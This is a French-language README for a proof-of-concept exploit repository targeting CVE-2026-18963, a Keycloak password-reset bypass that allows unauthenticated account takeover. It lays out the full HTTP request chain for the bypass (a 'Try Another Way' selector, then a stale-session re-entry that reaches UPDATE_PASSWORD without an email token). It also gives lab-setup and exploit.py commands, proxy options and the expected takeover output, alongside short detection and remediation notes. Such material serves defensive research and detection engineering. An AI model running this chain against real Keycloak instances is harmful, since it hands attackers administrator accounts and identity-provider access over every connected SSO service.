
Exploit de preuve de concept pour CVE-2026-18963, un contournement critique de la réinitialisation des identifiants Keycloak permettant la prise de contrôle de comptes sans authentification. Inclut la configuration d'un laboratoire, des recommandations de détection et des étapes de remédiation pour des tests autorisés.
Reprise de compte non authentifiée dans le flux de réinitialisation des identifiants de Keycloak. Un attaquant qui ne connaît qu'un nom d'utilisateur/e-mail peut réinitialiser le mot de passe de n'importe quel utilisateur — y compris les administrateurs — sans jamais recevoir l'e-mail de vérification.
Cette preuve de concept est publiée strictement à des fins éducatives, de recherche défensive, d'ingénierie de détection et de tests de sécurité autorisés.
Voir DISCLAIMER.md pour la déclaration complète.
| CVE | CVE-2026-18963 |
| Sévérité | Critique — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Faiblesse | CWE-640 — Mécanisme faible de récupération de mot de passe |
| Versions affectées | Keycloak < 26.7.2 (amont). Également les flux de builds RH corrigés via les bundles 26.6.6 / 26.4.15 |
| Corrigé dans | Keycloak 26.7.2 (PR #51844) |
| Conditions préalables | Forgot password (réinitialisation des identifiants) activé sur le realm — par défaut |
| Impact | Reprise totale du compte de n'importe quel utilisateur (y compris les administrateurs du realm) → compromission de l'IdP + accès SSO latéral |
Le flux de réinitialisation du mot de passe (reset-credentials) vous oblige normalement à cliquer sur un lien
envoyé par e-mail au propriétaire du compte avant de pouvoir définir un nouveau mot de passe. Deux failles permettent
à un attaquant de contourner entièrement cette vérification :
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sans l'associer à
l'ID d'exécution. Le fait de revenir dans le flux laisse la session d'authentification dans un
état confus/périmé.ResetCredentialEmail.action() appelle
context.success() sans vérifier ACTION_TOKEN_USER_ID (c.-à-d. sans
confirmer que le jeton d'action envoyé par e-mail a réellement été consommé).Leur enchaînement fait avancer la session d'authentification directement jusqu'à l'étape
UPDATE_PASSWORD pour un utilisateur arbitraire, sans qu'aucun e-mail ne soit requis.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
Voir docs/ROOTCAUSE.md pour le diff annoté du correctif.
Vous avez besoin de Docker et de Python 3 avec requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Fin de sortie attendue :
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Connectez-vous ensuite avec victim / Pwned-2026! pour confirmer la reprise de compte.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Chaque réponse HTTP est écrite dans ./dump/ pour inspection.
Keycloak utilise déjà 8080, alors pointez l'écouteur de Burp sur un autre port (par exemple 8081) :
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
La chaîne de requêtes brutes pour Burp Repeater se trouve dans
requests/burp-chain.txt.
Recherchez un changement de mot de passe qui n'a pas été précédé d'une vérification par e-mail dans la même session d'authentification :
UPDATE_PASSWORD sans VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN préalable pour cette session.reset-credentials contenant tryAnotherWay=on.login-actions/reset-credentials pour le même tab_id.Une exécution complète est enregistrée dans CVE-2026-18963.mp4 (à la racine du dépôt).
Chaîne corroborée avec le correctif public de Keycloak (PR #51844) et les analyses de la communauté.
MIT © red-darkin — pour un usage éducatif et des tests autorisés uniquement.